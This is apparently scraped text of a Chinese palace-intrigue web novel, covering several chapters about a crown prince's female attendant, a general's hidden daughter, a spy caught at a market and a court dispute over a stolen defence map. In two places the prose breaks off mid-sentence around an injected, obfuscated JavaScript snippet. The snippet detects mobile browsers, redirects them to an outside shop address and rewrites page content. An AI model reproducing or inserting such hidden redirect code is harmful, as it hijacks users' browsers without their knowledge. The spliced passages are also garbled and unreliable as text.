“就在东宫正门外,怎么劝都不肯去门房避雨,说是……非要见到父亲不可。”内侍的声音带着哭腔,“雨势如此之大,若真的出了什么事,奴才们担待不起啊!” 卫逾之蹙眉。这位赵姑娘,此举究竟是何用意?是性格骄纵,以此胁迫?还是另有隐情? 她略一思忖,道:“我随你去看看。殿下那边,暂勿惊扰。” 说着,她将茶罐递给一旁的宫女,撑开一把油纸伞,步入滂沱大雨中。 东宫正门,卫逾之示意侍卫打开宫门。 “吱呀——”一声,这动静惊动了宫外青石路上的一抹霁蓝身影。她微微抬起伞沿,露出一副清雅如兰的容貌。那双眼眸如墨玉般莫测,眼尾微垂,天然带着几分我见犹怜的懵懂,那眸光深处,却是深不可测的静谧,好似蕴藏着万千心事。 守门的侍卫们面露难色,既不敢贸然驱逐,又不敢让这个身份不明的人靠近。 卫逾之深吸一口气,隔着雨幕,上前问道:“敢问姑娘可是赵媛容赵姑娘?赵将军正和太子叙话,现下不便相见。雨势凶猛,姑娘万金之躯,还请移步暂避,莫要染了风寒。” 那女子看着卫逾之,目光闪烁了一下。 “我叫……我叫赵媛惜,有事要见爹爹!” 赵媛惜?! 卫逾之心口剧震。赵将军多年来只与夫人育有一儿一女,赵崇方才口中的,分明是“媛容”!怎会突然冒出一个名唤“媛惜”的女儿?! 雨声冰凉,躲过油纸伞飞溅在赵媛惜脸上,卫逾之心头警铃大作。 此事,绝不简单。她必须立马回禀太子,但在这之前,需得先稳住这位不速之客。 “赵姑娘,雨大风寒,您身子要紧,不若先随我去偏殿稍作休息,饮杯热茶暖暖身子,待殿下得空,我再为您通传,可好?” 卫逾之面上不动声色,伸手欲将其引开。赵媛惜却似铁了心,固执的摇了摇头,“不!我就在这里等!我一定要见到爹爹!” 雨水顺着她苍白的脸滑落,那执拗的眼神饱含破釜沉舟之意。二人僵持不下之际,她的目光猛的定格在了卫逾之的发间,那只玉兰簪上。 赵媛惜的眼神骤然一变,“你便是那位太子侍臣卫逾之?这簪子……可是殿下所赠?” 卫逾之心中莫名,正欲开口解释,身后却传来了脚步声。 周重晏与赵崇一前一后迈步而来,显然谈话已毕。观二人神色,似是方才所谈之事不快而终。 “爹爹!” 赵崇猛地一怔,他的目光越过卫逾之,直直盯着雨幕中那位全身湿透的霁蓝身影,脸上的阴沉瞬间碎裂,仿佛看见了一位绝不该出现的鬼影! 随即,被坏了事的滔天怒火迸发而出! “你!”他失声怒吼,声音因极度惊怒而扭曲,“你怎么在这里?谁让你来的?!” 他大步上前,一把拽住了赵媛惜的手腕,力道之大,让其不禁痛呼出声,脸上所剩无几的血色尽数褪去。 周重晏愕然停步,看向宫门外那个素未谋面的陌生女子,眼神一暗。 “爹……我……”赵媛惜在暴雨下瑟瑟发抖,方才的执拗劲瞬间消散的一干二净。 “还不跟我回去!”赵崇怒不可遏,不给她说话的机会,粗暴的拽着她往马车里拖。甚至来不及向太子告罪,只觉这张脸的出现,简直是将他所以谋划与脸面全部踩在了脚下! “舅父,”周重晏声音冷了下去,“既是家事,还望妥善处理。东宫门外,不宜喧哗。” 赵崇身形一僵,这才停了手,脸上青红交错,“殿下恕罪,老臣先请告辞。” 说罢,他命人将不断哭泣 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“舅父顾及名声与家族,很快将这件事压了下去,自然也没有将她们迎入府中,但到底是自己的亲骨肉,也未完全弃之不顾。他将二人安置在长安暗处,之后赵家举家西迁时二人便被留下。舅父照旧给予用度,却从不允许她们公开露面,更不承认其身份。” “他为人最重颜面与威信,虽说无人敢将此事摆在明面上谈论,却也成了他此生一桩不愿提及的污点。” 卫逾之恍然,“所以,赵将军方才如此震怒,全是因为赵姑娘突然出现,不仅仅乱了他的计划,更是将这个‘污点’当众暴露?” “不错。”周重晏颔首,眼中闪过一丝冷嘲,“舅父今日一心想将嫡女许给孤,以稳固赵家地位。如今这赵媛惜贸然出现,且是在孤面前,便是将这件事公之于众。” “这便是在提醒孤,也是在提醒所有知晓内情之人,一个有此等过往的臣子,其女怎堪太子妃之位?这盘棋,他还未落子,便已自损一半。” “原来如此,那她冒雨前来,就是为了看看多年不见的生父?” “这就不得而知了,”周重晏摇了摇头,“或许是听闻舅父欲嫁嫡女的风声,心有不甘?或许是另有隐情?但经此一闹,舅父只怕会把她看得更紧。她的处境,必定更加艰难。” 他看着卫逾之有些忧忡的神色,语气放缓,“此事你知晓便可,不必外传。” 卫逾之点头应下,心中一阵叹息。 这钟鸣鼎食,权贵之家光鲜亮丽的外表下,竟也藏着如此不堪的秘辛与不堪。 她自己也是浮萍之身,深知在这世间,女子命运多艰,往往系于父兄、夫婿之手。 那位赵姑娘,无论她今日前来是何目的,是想在太子面前挣一个名分?还是单纯想打破父亲精心布下的棋局?亦或是真有不得已的苦衷?最终都只是飞蛾扑火般徒劳。她的反抗,在强大的父权与世俗规则面前,显得那样渺小而可笑。 卫逾之将杯中微凉的茶水一饮而尽,那一点苦涩从舌尖蔓延到了心底。 “之儿?”周重晏何等敏锐,虽卫逾之面上不显,却他明白方才赵家父女那场闹剧,让其心中难以言喻的低落。 周重晏并未点破,只是低吟片刻,突然想起什么,唇角牵起一抹弧度。 “好了,那些无关紧要的人和事,不必萦绕于心。方才孤过来时,似乎看见玉儿身旁的嬷嬷在寻你。那小丫头,怕是又念叨着她的‘逾姐姐’,吵着要找你教她读新得的画册呢。” 19. 闹市 周重晏提及的玉儿,正是当年贵妃所生,还引得他黯然神伤的小公主。 十年过去,当年襁褓中的婴儿已长成粉雕玉琢的稚女。那位在朝堂上威严莫测的君王,对这唯一的女儿百般宠爱,阖宫上下无人不知,自然也养出了她活泼好动,天不怕地不怕的性子。 因着卫逾之性情温和,又有耐心陪伴,这位公主竟格外黏她,时常来东宫寻她玩耍。 雨后阳光正好,透过雕花窗棂撒下一地光斑。 卫逾之刚走出昭阳殿没多远,就听见一阵急促的脚步声伴随着幼女清脆天真的笑声由远及近。 “逾姐姐!逾姐姐!” 周群玉身着一袭藕粉色宫装,整齐束好的花苞头已有些凌乱,眉间一点花钿,衬得她如年画娃娃般玉雪伶俐。 卫逾之见她提着裙摆,如归家的雀儿般飞奔而来,连忙蹲下身,笑着将她揽入怀中。 “公主跑慢些,仔细摔着。” 身后那群嬷嬷们紧随其后,无奈着对着逾之诉苦:“卫姑娘,您是不知道,公主殿下这几日时时念叨着要来寻你。今日用了早膳就一直闹着,老奴怎么说也不听,非要立刻过来,说是有要事呢!” 周群玉微微抬起脸,露出那双黝黑的杏眼,嗔道:“玉儿都好久没见到逾姐姐了,实在想念得紧。” “玉儿就不想皇兄吗?”周重晏信步走了过来,眉目柔和,将其抱在怀里掂了掂,“又长大了些了。跟皇兄说说,这么急着来寻你的逾姐姐,是有什么事啊?” 小公主从他的怀里挣脱下来,揪着他的衣角摇啊摇,语出惊人:“玉儿想出宫,想去一个叫做‘市集’的地方玩。嬷嬷说外面有糖人,有会翻跟头的猴子,还有琳琅满目的花灯!玉儿想去看!” 卫逾之闻言,心里瞬间一咯噔。 旁边的嬷嬷吓得脸色煞白,连忙跪下,七嘴八舌。 “殿下恕罪!是老奴失言,老奴该死!老奴实在没有怂恿公主啊!” “公主金枝玉叶,哪里能去那的鱼龙混杂的地方?若是磕着碰着了,老奴有一万个脑袋也不够砍得啊!” 周重晏脸上摆了摆手,并无怒色,只是轻轻抚开妹妹额前的碎发,温声道:“玉儿,市集上人太多了,还会走很久的路,你会累的。” 周群玉的脸立刻垮了下来,眼圈一红,却没有像寻常孩子般苦闹,反而像是想起了什么重要的依凭,一本正经道:“可父皇说了,只要玉儿能够找到一个足以保护玉儿的人,就可以出宫玩的!” 说完这句,她的嘴又瘪下去,“可是二哥他只知道弓箭和小马,都不怎么和玉儿玩。” 她口中的二哥,正是一母所生的二皇子周重岳。 小公主语气带着些许委屈:“我去找他,他从来就只会让嬷嬷把我带下去,才不会给我玩呢!可是……” 她说着,乌溜溜的大眼睛转向卫逾之,伸手指着她,“逾姐姐武艺高强,江大人和皇兄都夸过的!逾姐姐可以保护玉儿!” 这话倒是不假。这些年卫逾之跟随江延习武,虽谈不上是什么顶尖高手,但身手敏捷,反应迅速,等闲三五个人近不得身,对付些市井意外、护住小公主周全,确是绰绰有余。 况且她心思细腻,遇事冷静,只怕远比那些只知蛮力的侍卫更让人放心。 周重晏自然知道卫逾之的能耐,也清楚她的沉稳可靠。比起那个被林贵妃娇纵得只知自己的皇弟,不知强上数百倍。 周群玉见他沉吟不语,便知道有戏,忙对着卫逾之央求道:“逾姐姐,你快和皇兄说一句,就陪玉儿去吧!就一会儿,就一会儿!玉儿一定听话!” 卫逾之对视着这充满期待的目光,到底不忍心摇头。况且,她自入宫以来,早已忘了市井街巷是何模样。 是以,她犹豫片刻,对着太子轻轻点了点头。 周重晏心中松动。他深知父皇对玉儿的宠爱,既出此言,想来也不会真的怪罪。再者说,让逾之去看看久违的宫外天地,似乎也并非坏事。 “也罢。” 他神色一正,向卫逾之交代道:“之儿,你便带公主出去走走。记住,多带侍卫,务必低调,莫要节外生枝。去西市热闹处逛一圈即可,日落之前,必须回宫。” “微臣遵命。” 周群玉顿时欢呼雀跃起来,紧紧拉住卫逾之的手,脸上绽放出纯真的笑容。 那个风和日丽的午后,一辆马车悄无声息的驶出了东宫侧门,直奔西市而去。 卫逾之换了一身鱼白常服,带着同样身着石榴红小衫的周群玉,走出了这座深严的宫墙。 西市人声鼎沸,车水马龙。各种叫卖声,吆喝声,讨价还价声此起彼伏。空气中混杂着刚出炉的肉包子香,糖炒栗子的甜。 周重晏简直看花了眼,如出了笼的鸟儿,看什么都觉得新奇。一会儿对着吹糖人的老伯蹦蹦跳跳,一会又被卖泥偶的摊子吸引住。若不是卫逾之牵着,只怕是早就钻入了人群中,不见踪影。隐入人群的侍卫们紧绷着精神,目光如炬的扫视四周。 就在他们路过一个卖糖葫芦的摊位时,卫逾之的余光却在一个搭建的粥棚之下,骤然瞥见了一个眼熟的身影。 一位身着红衣的少女,正带着两名丫鬟,将手中铜钱和几个白面馒头,依次分发给蜷缩在墙角的几个乞丐。 正是丞相之女李茹! 卫逾之脚步一顿,本不欲上前打扰。正想带着周群玉去看看旁边的胭脂铺子,不曾想异变突生! 一个穿着破旧灰布褂子、头上歪戴破毡帽、身形矮小灵活的“乞丐”,原本也伸着手等待施舍,却在靠近李茹的瞬间,眼中凶光一闪,猛地出手,不是去接钱,而是极其迅捷地一把夺过了她悬在腰侧的那个绣工精致的锦缎荷包! “啊!”李茹惊叫出声,猝不及防。 那“乞丐”得手后,毫不恋战,身形一闪,像泥鳅一样,就要往人群中钻。显然是个老手! “抓住他!姑娘的荷包!”李茹的丫鬟急得大叫,引得人群一阵骚动。 卫逾之认出这是她初入长安时丐帮惯常的把戏,本不欲多事。宫中多年,她深知多一事不如少一事的道理。 她正要示意不远处的侍卫动手,却不想那小偷为了尽快脱身,慌不择路,竟朝着自己和周群玉所在的方向猛冲过来! 他低着头,速度极快,眼看就要撞到正仰头看着糖人摊子、毫无防备的小公主! “小心!”卫逾之瞳孔一缩,心中警铃大作! 保护公主的本能瞬间压倒了一切顾虑!她来不及多想,一手将周群玉迅速揽到身后护住,另一只手飞快探出,精准地扣住了那小偷拿着锦囊的手腕!同时脚下巧妙地一绊! “哎哟!”那小偷猝不及防,只觉得手腕剧痛,下盘不稳,惊呼一声,向前扑倒,手中的荷包也脱手飞出。 卫逾之顺势松手,轻盈一抄,便将那荷包稳稳接在手中。整个动作行云流水,发生在眨眼之间,周围的人群甚至还没反应过来发生了何事。 那小偷摔了个狗啃泥,惊恐地看了一眼卫逾之,见她眼神冷冽,身边还有几个精悍的“家丁”围了上来,吓得魂飞魄散,也顾不得疼痛,连滚爬爬地钻入人群逃走了。 “是你?!你是东宫那位卫姑娘?”李茹带着丫鬟快步走了过来,很快便认出了这位太子侍臣。 她看着卫逾之手中握着的荷包,瞬间明白了一切,感激道:“多谢卫姑娘出手相救。今日之恩,在下定当铭记。” 卫逾之将荷包递给她,微微颔首还礼:“李姑娘客气了,不过是举手之劳,不足挂齿。” 李茹目光诚挚,“上次东宫匆匆一见,未及细谈。不知……今日可否请姑娘往丞相府中一叙?” “李姑娘言重了,”卫逾之不动声色的回以浅笑,“只是我家小妹方才受了惊吓,我也不便久留,就此别过。” 李茹听出了她的推拒之意,目光看向其身后那个被侍卫团团围住,不停好奇张望的小女孩,心知此女身份绝不简单,便也不再强求:“既然如此,我就不打扰了。他日若有闲暇,望能报答卫姑娘恩情。” 卫逾之不再多言,牵起周群玉的手,柔声道:“玉儿,时辰不早,我们该回去了。” 周群玉倒是心大,只觉得卫逾之方才的动作好厉害,反而更加兴奋,还想再逛。 但见卫逾之不安的面容,她虽万般不舍,却也乖巧点点头,任由卫逾之牵着,往马车方向走去。 “等等。”卫逾之猛地停下,她的目光定格在了不远处一位头戴斗笠,身形精干的男子身上。 他本在人群中毫不起眼,可一阵微风吹过,悄悄掀起他的斗笠边缘。卫逾之习武多年,目力远超常人。她清晰的看见,那男子脖颈处,露出了一块样式奇特的刺青! 那图案繁复而狰狞,与她曾在江延带来的离朝图册上见过的,某种烙印在罪犯身上的图案,如出一辙!! 一个宸朝人,怎么会有这样的刺青?况且他还需要刻意乔装打扮,隐藏在市井之中。 他的目光,根本不在集市之中,反而……若有若无的扫视着街道四周,方才李茹离开的方向! 卫逾之的心被拽紧了,一个荒谬的念头一闪而过。 此人,极有可能是离朝细作!他出现在这里,绝非偶然。甚至有可能与虞城布防图一事有关,在进行着某种交接或探查! 卫逾之的后背瞬间沁出一身冷汗,对着最近的侍卫使了一个眼色,微微指向那人方向。 她压低声音,“情况有异,注意那个带斗笠的,盯住他,切勿打草惊蛇。” 侍卫脸色一凛,虽不明所以,但见卫逾之前所未有的凝重,立刻领命。 卫逾之强装镇定将小公主抱到马车上,想要快点逃离这个是非之地。 那男子却十分警觉,卫逾之方才与侍卫的密谋,竟被他敏锐的捕捉到了! 他猛地抬起头,斗笠下锐利的目光,与卫逾之尚未收回的视线,在空中交汇。男子脸色骤变,毫不犹豫越上牵着的马,钻入了一旁一条狭窄的巷道! “不好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16571445|186444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !”卫逾之心中暗叫。绝不能让他跑了!此人关系重大,很可能牵扯虞城布防图,若让他逃脱,后果不堪设想! 情势危急,她已顾不得许多。目光迅速扫过街边一家客栈门前的拴马石,那里正系着几匹客人的马。 她当机立断,一把抱起周群玉,疾步冲到最近的侍卫身边,语速极快地下令:“保护公主,立刻回宫禀报太子,西市发现离朝细作,往西南巷道去了,我去追!” “逾姐姐!”周群玉被这突如其来的变故吓住了,小脸发白。 卫逾之来不及解释,将她往侍卫怀中一塞,随即转身,冲到拴马石前,解下一匹看起来最为矫健的枣红马,利落地翻身上马,一扯缰绳,“驾!” “让开!快让开!”她伏低身子,控着不甚驯服的驽马在人群中穿梭,引得一片鸡飞狗跳。 那细作显然对长安城的地形极为熟悉,专挑七拐八绕的小巷穿行,一转眼便到了城门附近。卫逾之仗着过人的记忆力,死死咬住。 不知怎的,那细作竟寻到了一处守备松懈的侧门,趁守卫换岗的间隙,迅速溜出了熙熙攘攘的城门! 卫逾之已然确信他便是离朝细作,现下已无退路,只能收起退缩之意,催马紧追出城。 城外官道尚算平坦,但那细作一出城便立刻偏离大路,一头扎进了路旁一片茂密的树林。卫逾之连忙策马跟上。 树林中枝杈横生,光线昏暗,马速不得不慢了下来。 那细作凭借对地形的熟悉和林木的掩护,不断变换方向,试图甩掉追踪。卫逾之却始终紧紧缀在其后。 二人一前一后步入一片相对开阔的林间空地,那细作意识到无法摆脱,猛地停下脚步,转过身,斗笠下的眼睛闪烁着凶光。他自知身份暴露,唯有拼死一搏! 只见他手腕一翻,几道细微的寒光乍现,破空而来,直射卫逾之面门与胸口!是他随身携带的袖箭! 卫逾之却早有防备,身形如风中弱柳般猛地向侧后方一仰,同时翻身下马。几支袖箭接二连三地钉在她身后的树干上,箭尾兀自颤动。 “看剑!” 不等她站稳,那细作已合身扑上,手中多了一把寒光闪闪的软剑,招招狠辣,直取要害! 卫逾之袖口滑出那把江延所赠的短刃,凭借灵活的身法与之周旋。 林间空地上,两道身影缠斗在一起,拳脚相交。 那细作力大招沉,显然受过严格训练。卫逾之虽身手敏捷,但力量与经验均逊一筹,几次险象环生,衣袖被划破,发髻也散乱开来。 缠斗中,她被对方一记重拳击中肩胛,闷哼一声向后踉跄,脚下被树根一绊,向后摔倒。 细作狞笑着再次扑来,卫逾之眼中厉色一闪,抓起那柄坚硬的短刃,不退反进,迎着对方冲去!在即将接触的刹那,她身体猛地一矮,短刃的剑尖精准地、狠狠地戳向对方小腿的麻筋! “啊!”细作惨叫一声,半边身子瞬间酸麻,动作一滞。 卫逾之抓住这转瞬即逝的机会,用尽全身力气,合身扑上,利用体重将他狠狠压倒在地。 那细作拼命挣扎,手指胡乱抓挠。卫逾之一手死死按住他持暗器的右手,另一只手握着短刃抵住他的咽喉,双腿紧紧锁住他的身体 两人在铺满落叶和碎石的地面上激烈翻滚、角力。粗糙的地面摩擦着卫逾之的手臂和膝盖,火辣辣地疼。她死死咬着牙,不肯松劲。 那细作闷哼一声,暂时失去了反抗能力。 卫逾之喘着粗气,丝毫不敢大意,迅速用对方的腰带将其手脚牢牢捆住。 直到这时,她才瘫坐在一旁,剧烈地喘息着,低头看去,自己的双手因为刚才激烈的摩擦和缠斗,早已破了皮,渗出血珠,混着泥土和草屑,看起来颇为狼狈。 卫逾之顾不上处理伤口,警惕地环顾四周,确定再无其他埋伏后,强忍着掌心的刺痛,将那被捆缚结实、已然失去反抗能力的细作从地上拖起。 她不敢有丝毫耽搁,必须立刻将此人带回东宫,交由太子审讯。此人身份敏感,牵扯虞城布防图,每一刻都至关重要! 一阵急促杂乱的马蹄声却突然传来,迅速朝着这片林间空地包围过来! 只见十余骑人马冲破林木,疾驰而至。这些人皆身着华贵的服饰,但制式与东宫侍卫略有不同,衣甲更为鲜亮,带着一股骄横之气。为首之人,是个面色倨傲的侍卫统领,卫逾之曾在宫中见过,正是二皇子周重晏麾下的亲卫头领,姓孙。 孙统领勒住骏马,朝着卫逾之颔首见礼,随即望向瘫软在地,被捆得严严实实的男子,眼中闪过一丝惊讶。 “我等奉公主之命,前来相助。”他端坐于马上,语气生硬:“卫侍臣,此地方才发生何事?此人是谁?” 卫逾之眉头轻蹙,“此人行迹可疑,疑似离朝之人。我方才已将其擒住。” “离朝?”孙统领挑眉,显然不信。 卫逾之剥开男子斗笠,直指那处刺青,“这种图腾,孙统领不会认不出吧?” 20. 谋局 孙统领的脸色变了。 那狰狞的狼头刺青,赫然暴露在他的眼下! “这离朝贼子,好大的胆子,竟敢潜入京畿重地!” 他厉声下令:“来人!将此人拿下,压入牢中,严加审问!” “且慢!”卫逾之强压下心中不快,上前一步道:“此人由我擒获,理应由东宫……” “卫侍臣!”孙统领打断她的话,“你也知道,陛下这几日为布防图发了好大一顿脾气。此等要犯,极有可能知情。由你这等女流之辈押送,若途中出了差池,谁来担待?太子殿下日理万机,这种小事,就不劳烦殿下了。” “把人带走!” 他手下的士兵如狼似虎般蜂拥上前,将那名俘虏夺了去,迅速押上马背,推搡着离开。 卫逾之听他此番话自相矛盾,哪里是对人证的担忧?分明是与东宫抢功! 可她人微言轻,若与这群人硬来,怕是讨不着好。 孙统领见人已到手,冷哼一声,调转马头:“卫侍臣,今日之事,还是由二殿下处理为好,你好自为之。” 说罢,他带着手下和那个俘虏,扬长而去。 深林恢复了寂静,唯有晚风拂过树叶的窸窣声。 卫逾之看着扬起的烟尘,那满地的狼藉,掌心伤口又流出血来。 功亏一篑! 她胸口憋闷,不仅是因为掌心的刺痛,亦或是孙统领的蛮横,二皇子明目张胆的抢功。她更气恼自己,为何非要追出去?为何非要淌这趟浑水?! 若非如此,只怕她现在还能留着出宫片刻的轻松心境。 这一夜,卫逾之回了东宫,脸色愈发不好,连伤口都没心情处理,便睡了去。 翌日,碧空如洗,万里无云。 寻梅伴着几个相熟的宫女,一同在东宫凉亭外的空地踢着毽子,说说笑笑。 卫逾之神色恹恹,便独自坐在一旁,看着池中游鱼,眼神恍惚。 “小余,别去想昨日的事了。同我们一起踢毽子玩吧!”寻梅见她心绪低落,面露担忧之色,忙上前安抚。 那些宫人们平日里见卫逾之待人温和,自是对她心存好感,现如今见她受了委屈,也悄悄围了过来,你一言我一语的宽慰她。 “是啊,卫姑娘别生气了,二皇子身边的人向来如此。” “就是,您没事就好了!” “卫姑娘的手都受伤了,快别沾水了。” 他们正七嘴八舌的说着,突然噤了声。卫逾之转头一看,竟是太子信步走来。 只见他一身月白长袍,立于林荫之下。面如冠玉,双眉如墨,眼中含情。清俊的脸庞极为贵气,带着一丝温润与悲悯。束发戴冠,广袖清扬,如同画卷中走出的谦谦君子。 “太子殿下。”众人齐齐下拜。 周重晏的目光扫过亭中众人,在卫逾之微蹙的眉心上停留一瞬。他示意春喜将提着的餐盒同一些瓶瓶罐罐放在亭下石桌上。 “你们都退下吧。”春喜领悟到太子的意思,连忙招呼着宫人离开。一时间,亭下只余下二人。 卫逾之垂下眼睫,心中忐忑。 殿下定然已经知晓昨日自己带着小公主节外生枝之事,还让要紧的俘虏被二皇子截胡。 哪怕他平日就算是性子再好,此次必然也会来问责! “殿下,微臣昨日……”卫逾之低声开口,语气带着深深的自责。 话音未落,却见周重晏在她身旁的石凳上坐下,轻轻叹了口气,从那些小瓶子里取出一罐白玉瓷瓶。 “手,伸过来。”周重晏温声道。 卫逾之愕然抬头,对上他柔和的目光。迟疑片刻,依言将手伸出。 她的双手未曾仔细包扎,不过寥寥缠着快纱布。掌心破皮红肿,边缘还粘着些结痂的血迹,看起来颇为狼狈。 周重晏眼神一痛,小心翼翼拆开她临时包扎的布匹,打开瓷瓶的塞子。 那瓷瓶里,装着晶莹剔透的青色药膏,散发着清凉的草木药味。他用指尖蘸取少许,轻柔的涂抹在卫逾之掌心的伤口上。 卫逾之怔怔的看着他低垂的眉眼,鼻头竟有些发酸。昨日的委屈,愤怒,不甘,竟在此刻,被抚平了大半。 “还在为昨日之事气恼?”周重晏没有抬头,一边细致上药,一边状若无意般开口。 卫逾之抿了抿唇,没有否认。 “觉得二弟抢了东宫的功劳?觉得你自己多管闲事,反倒惹了麻烦?”周重晏替她上好药,这才抬眸看她。 卫逾之低下头,算是默认了。 周重晏却轻轻摇了摇头,“之儿,你可知道一句古话,‘塞翁失马,焉知非福’?” 他负手立于亭边,望着亭外灿烂的阳光:“若是那人真由东宫接手审问,又会是何种局面?” 卫逾之满心困惑,周重晏不等她答话,继续道:“不论好坏,东宫皆会被推向风口浪尖。若是审出他与布防图有关,那接下来有关追寻之事,自然就落在了东宫头上。若什么也审不出,东宫便是无能,打草惊蛇。” “更何况,那亡命之徒,口中之言是真是假,尚未可知,贸然审讯,恐落其圈套。” 他转过身,声音冷静:“如今,人被二弟抢了去,看似我们失了先机,实则不然。这烫手山芋,如今在他手中。我们便趁此机会隔岸观火,也看看他能作出什么文章。” “更何况,”周重晏看着卫逾之若有所思的眸子,“你已确认此人便是离朝细作,并将其抓获。这份功劳,孤记在心中,父皇那般,孤也会如实禀报。” 他轻轻握住卫逾之受伤的手,“所以,不必气恼。你做的很好,比孤想象的还要机敏,勇敢。护住了玉儿,也洞悉了问题的关键。这便足够了,至于其他的……” 周重晏目光微冷,“且让他们去折腾吧。” 那日的交谈,如清风将卫逾之心中的不快一扫而清,她掌心的伤亦在太子所赠药膏的作用下渐渐结痂愈合。 不过几日,卫逾之再次得到了些断断续续的风声,却一个比一个让人心惊。 据说二皇子手下的人动用了一切手段,几经审讯,动用大刑。那细作最终熬不住,招认了他确是离朝派来的探子,也承认了虞城布防图为他所盗。 他声称,因虞城近日追查的紧,风声鹤唳。他无法按计划将其送出,只得携带图纸潜入长安暂避风头,寻找新的机会。 然而,当被问及布防图现下所在何处时,那细作却语焉不详。后来无论再怎么用刑,他也不说出具体位置。 这消息传到御前,皇帝勃然大怒!布防图果然为离朝所盗,甚至被带入了天子眼下的长安城!这是多么大的羞辱?无疑成为了他心中的一根刺。 皇帝当即下令,责令二皇子周重 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16635691|186444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 岳无论如何,也要撬开那细作的嘴,追回布防图。否则严惩不贷! 李丞相和刑部尚书等人也在重压之下,多次前往天牢逼问。可惜一无所获。 周重岳被逼的焦头烂额,几乎用尽了所以手段。可偏偏在这时,那细作,在天牢中,自尽了! 据说是服下不知从何而来的毒药,发现时尸体已经僵硬。 人死了,唯一的线索,彻底断了! 无论他之前的口供是真是假,如今已死无对证。布防图的下落,成了无头公案! 皇帝震怒,当朝对负责此事的二皇子严加斥责,大骂他“无能!”,“连个探子都看不住!”,“办事不利,延误战机!” 二皇子当朝被斥,颜面尽失。他本是想将功劳占为己有,现如今却彻底坐实了“无能”之名。 据说那日他跪在殿中,面色苍白如纸,连句分辨的话也说不出来。 卫逾之听太子谈起此事,惊愕之余,这才恍然大悟他当时所说“焉知非福”是何用意。 几日之后,一个更加出乎意料的消息传来。 虞城布防图,找到了! 是一位负责打扫当时那位细作藏身客栈的伙计,在床下的夹层中,发现了以油纸包裹,完好无损的布防图。 伙计不识字,却觉得此物藏的极为隐蔽,便知非同小可,连忙上报了官府。 朝野上下顿时松了一口气,心中那块巨石终于被挪开。皇帝龙颜大悦,虽然对二皇子的不满依旧溢于言表,但天大的危机已然解除。群臣也纷纷上表祝贺,称颂陛下洪福齐天,宸朝国运昌隆。 一时间,皆大欢喜。 周重晏却眉头紧锁,神色担忧。立秋之日,他在书斋中坐立难安,手指无意识的敲击着桌面。 “之儿,你觉得此事,当真如此简单?”他忍不住问向下首的卫逾之。 卫逾之沉吟片刻,摇头道:“微臣也认为,此事过于蹊跷。” “说说看。” “那细作,”卫逾之整理思绪,条缕分析,“他既能从戒备森严的虞城盗走图纸,又能突破重重关卡潜入长安。其心思之缜密,手段之高明,可见一斑。这样说来,他将如此重要的布防图藏在床底,未免太过儿戏。此乃其一。” “其二,他已承认自己身份,何不直接说出布防图藏匿地点。若是一心求死,为何不在刚刚被捕时便一了百了,偏偏在那种关键时刻自尽。倒像是……被人灭口。” “其三,朝廷搜查那客栈绝非一次两次,之前毫无所获,偏偏在细作死后,就如此恰好的被发现了?” 周重晏赞许的点点头,目中寒光更深,“不错,这一切,都像是被人精心设计好的一场戏。有人不希望朝廷继续追查下去,便抛出了布防图来平息事端。” 他站起身,走到窗边,“如今布防图被找到,龙颜大悦,谁还会在意那细作为何而死?还会去怀疑找到的过程是否合理?这一切线索,都被那张布防图和一具尸体,一起湮灭了。” “那接下来该怎么办?”卫逾之问道。 周重晏沉默良久,缓缓转过身,整理袖袍。 “此事实乃漏洞百出,欲盖弥彰。朝堂诸公尚且可以为了暂时的安稳视而不见,但孤不能!” 他大步流星迈步出门,“孤,要面见父皇,亲自说明其中诸多疑点。绝不会让他们纵虎归山,养忧为患!” 21. 虽千万人吾往矣 周重晏一骑快马入了宫。 宣政殿内,皇帝的神色较之前几日的震怒,已缓和许多。 下首立着四人,武阳侯赵崇,丞相李明礼,中丞贺进,还有一位,正是林贵妃兄长,御史大夫林九思。 他们正在商议布防图找回后,如何嘉奖有功之人,稳定战局等事宜。 周重晏步入殿内,行礼问安后,并未绕圈子,便直接将此事疑点一一罗列。 细作行为的矛盾,图纸藏匿地点的不合常理,其自杀时机的巧合…… “是以,儿臣认为,虞城布防图失而复得一事,其中疑点甚多,朝堂不应就此草草结案。” 皇帝刚因寻回布防图心情稍霁,闻言眉头蹙起,似有些不悦。 “殿下未免太过忧心了,”赵崇率先开口,“图纸既已寻回,便是天佑我朝。何必再纠结于细枝末节,徒增烦恼?” “并非是孤纠缠细节,而是此事逻辑不通!”周重晏还欲再辩,“孤是害怕,这是有人为了掩盖更大的阴谋,弃车保帅,用一个细作的命和一张图纸,来麻痹我等!若我等就此罢休,就真正中了奸计。恐怕会将我朝置于更大的危险中!” 殿内安静下来,似都被这番恳切的言辞所震慑。 “太子殿下所虑,不无道理。”丞相李明礼微微颔首,他捋了捋胡须,话锋一转,“然,如今人证已死,物证寻回。若仅凭推测便大动干戈,恐令朝野不安。何况,虞城军心亟待稳定,若此时再起波澜,实非良策。” 周重晏面色一沉,贺进沉吟片刻,也开口道:“殿下,当此之时,当以稳定民心为上。至于其他,可暗中查访,不宜大张旗鼓。” 皇帝听着众人言语,显然想要息事宁人。 “父皇,即便不论过程有多蹊跷,图纸在外流落多日,谁又能保证期间未曾被抄录临摹?”周重晏看向皇帝,退而求其次道。 “离朝细作盘根错节,若他们早已将副本送出,我朝却因找回原图而高枕无忧,届时后果不堪设想!” 